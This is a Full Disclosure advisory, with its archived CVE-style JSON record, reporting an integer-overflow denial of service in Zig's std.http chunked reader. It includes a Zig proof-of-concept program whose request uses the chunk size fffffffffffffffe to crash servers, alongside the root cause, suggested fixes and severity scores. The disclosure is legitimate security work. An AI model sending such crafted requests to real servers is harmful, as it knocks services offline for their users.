Description (en)
Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow
panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59,
Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has
accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for
chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the
temple and cursed enough to set it on fire.¹
The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard
request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe
reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the
worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather
than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server
over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says
“systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism.
// poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`
const std = @import("std");
const http = std.http;
pub fn main() !void {
const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded
const request_bytes =
"POST /upload HTTP/1.1\r\n" ++
"Host: victim\r\n" ++
"Transfer-Encoding: chunked\r\n" ++
"\r\n" ++
"fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2
body;
var in = std.Io.Reader.fixed(request_bytes);
var out_buf: [4096]u8 = undefined;
var out = std.Io.Writer.fixed(&out_buf);
var server = http.Server.init(&in, &out);
var request = try server.receiveHead(); // Head.parse accepts TE:chunked
var transfer_buf: [256]u8 = undefined;
const br = try request.readerExpectContinue(&transfer_buf);
var dst: [256]u8 = undefined;
_ = try br.readSliceShort(&dst); // -> panic at http.zig:586}
Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3].
Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably
impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject
requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting
chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.²
CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it
arrived in.
¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to
reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written
during a thunderstorm.
Cheers!
Agent Spooky's Fun Parade
[agent-spooky-1.png]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "Zig std.http chunked",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky's Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow \npanic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, \nReader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has \naccepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for \nchunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the \ntemple and cursed enough to set it on fire.¹\n\nThe practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard \nrequest bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe \nreaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the \nworker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather \nthan producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server \nover fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says \n“systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism.\n\n// poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`\nconst std = @import(\"std\");\nconst http = std.http;\n\npub fn main() !void {\nconst body = \"A\" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded\nconst request_bytes =\n\"POST /upload HTTP/1.1\\r\\n\" ++\n\"Host: victim\\r\\n\" ++\n\"Transfer-Encoding: chunked\\r\\n\" ++\n\"\\r\\n\" ++\n\"fffffffffffffffe\\r\\n\" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2\nbody;\n\nvar in = std.Io.Reader.fixed(request_bytes);\nvar out_buf: [4096]u8 = undefined;\nvar out = std.Io.Writer.fixed(&out_buf);\n\nvar server = http.Server.init(&in, &out);\nvar request = try server.receiveHead(); // Head.parse accepts TE:chunked\n\nvar transfer_buf: [256]u8 = undefined;\nconst br = try request.readerExpectContinue(&transfer_buf);\nvar dst: [256]u8 = undefined;\n_ = try br.readSliceShort(&dst); // -> panic at http.zig:586}\n\n\nRoot cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. \nSuggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably \nimpose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject \nrequests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting \nchunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.²\n\nCWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.\nCVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.\nConfidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it \narrived in.\n\n¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to \nreality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written \nduring a thunderstorm.\n\nCheers!\n\nAgent Spooky's Fun Parade\n\n[agent-spooky-1.png]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1284",
"description": "CWE-1284",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-617",
"description": "CWE-617",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/0"
],
"discovery": "EXTERNAL"
},
"title": "Zig std.http chunked reader integer overflow -> unauthenticated remote DoS",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0047",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0",
"automated": true,
"contentSha256": "ee9275e5051b4ddd56cb304c6e6cc465817417ee75fe1a18379408ee5024c147",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-29T01:17:59Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0047"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}